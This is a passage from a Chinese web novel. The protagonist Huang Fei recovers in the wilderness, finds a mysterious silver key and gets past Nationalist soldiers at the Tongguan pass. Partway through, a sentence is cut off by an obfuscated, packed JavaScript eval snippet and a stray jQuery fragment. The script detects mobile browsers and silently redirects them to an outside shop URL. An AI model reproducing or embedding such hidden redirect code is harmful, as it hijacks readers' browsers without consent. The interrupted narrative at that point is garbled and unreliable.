来说,精神终究抵不过物质,万不得已的情况下,自己可以抛弃日记,却还要保留饭盒,以备万一找到食物和饮水,可以用它来料理。
到了这个时候,黄菲终于喘过一口气来,衰竭的危险距离她稍远了一点,她感觉自己原本已经即将耗尽的体力,又弥补了一些回来,身上有了些微的力气,于是黄菲便取下饭盒,先刷洗一下,然后接满了水,蹒跚着找来树枝,点起火来,垒砌石头灶来烧水,同时满世界找吃的,寻觅食物的时候,她感到自己的眼睛也如同那一只野狼,放着饥饿的绿光。
过了好一阵,当黄菲终于用一饭盒汤水约略填饱了肚子,她这才有力气来理解自己的奇遇,究竟发生了什么?自己本来是在陕北那干燥荒凉的高原,而此时显然是在一个有水的地方,山上青青的,长了许多树,植物十分茂盛,满眼的绿色,让人感到一片生机。
黄菲细细想了一想,忽然间站起来,慢慢走回到自己之前苏醒的地方,果然在地上,看到了一枚晶亮的钥匙,顶端是一个缠枝纹的圆环,下面是古典的钥匙形状,银白色,静静地躺在那里闪着光。
黄菲弯下腰,轻轻把它捡拾起来,仔细打量着,这就是开启另一个世界的钥匙啊,究竟要怎样去做呢?自己要好好地琢磨一下。
之后的一段日子,黄菲自己也不知道是怎样过来,要回顾很难回顾,想诉说也不知该如何诉说,只是这一天的下午,当她站在一座山上遥望,前方一座巍峨的关口,终于来到有人的地方!
黄菲不由得雀跃,到了这里,应该已经走出了很远的距离,这里该是国统区的深处了吧?自己在这里,不会受到很严格的盘查了吧?然而她终究是谨慎的,想了一想,便解开了绑腿,将那两条长长的棉布收藏了起来,绑腿啊,实在太有军人气息,现在的自己,是需要让人以为是难民的,其实某个角度来说,也确实是这样。
那一道关隘望过去就在眼中,然而走起来实在遥远,黄菲又用了一天多的时间,才终于抵达关口的下方,这个时候她仰头一看,硕大的“潼关”两个大字映入眼底,一瞬间黄菲眼中一热,简直要流下泪来,手里拄着木棒,不知不觉轻轻便念诵道:“‘云横秦岭家何在?雪拥蓝关马不前。’”
城门前值岗的国民党哨兵听到了,不由得便瞥了她一眼:“念过书的?”
出口就是诗啊,虽然自己不知道说的是什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344753|152646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么,不过文绉绉的,七字一句,大概是诗吧。
黄菲点了点头:“读过几天书。”
那士兵笑了:“好命啊,能读得起书,从前也是大小姐吧?只是现在日本人来了,好日子都过不成了。打从哪儿来?要往哪儿去?”
听口音是北方人,说话会卷舌头,带“儿”音。
黄菲之前已经想好了应对的言语:“从湖北来,去西安。”
对方深表同情:“湖北啊,给小日本祸害得惨啊,武汉已经给占了几年了。”
旁边另一个士兵瞧了瞧她:“湖北?我就是湖北人,可是我听你口音不像啊。”
黄菲道:“我本来是广西人,与家里人一起去了湖北。”
那人又追问:“你当初是在湖北哪里?”
“监利。”
“监利都有些什么?你和我说说。”
“监利的麻鸭是很好的,监利本来是鱼米之乡,芙蓉的国度,只是这些年不行了,总是发水,日子难过。”
说着说着,便又有些哽咽。
那个湖北的国军听了她这几句话,一时也给勾起了心事,叹道:“可不是么,三年有两年发大水,东家又连年加租子,就算日本人不来,我们也过不得。”
原来竟然是监利人,黄菲说自己曾经住在监利,本来是因为苗伯家乡监利,自己当初与同学们去伙房“帮厨”,时常听苗伯谈起故乡,监利的这个,监利的那个,所以知道,这个时候便说是从监利来,那知居然遇到了苗伯的同乡。
他的同伴本来也点着头,忽然间醒悟过来,连忙捅了捅他:“可别说了,这话让长官听见,又要挨骂了。”
然后那个北方士兵又说:“算了,让她过去吧,你看看她,年轻的女学生,哪能是共谍?”